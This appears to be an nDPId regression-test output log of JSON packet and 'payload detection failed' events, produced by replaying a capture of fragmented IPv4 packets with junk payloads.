+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561204,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 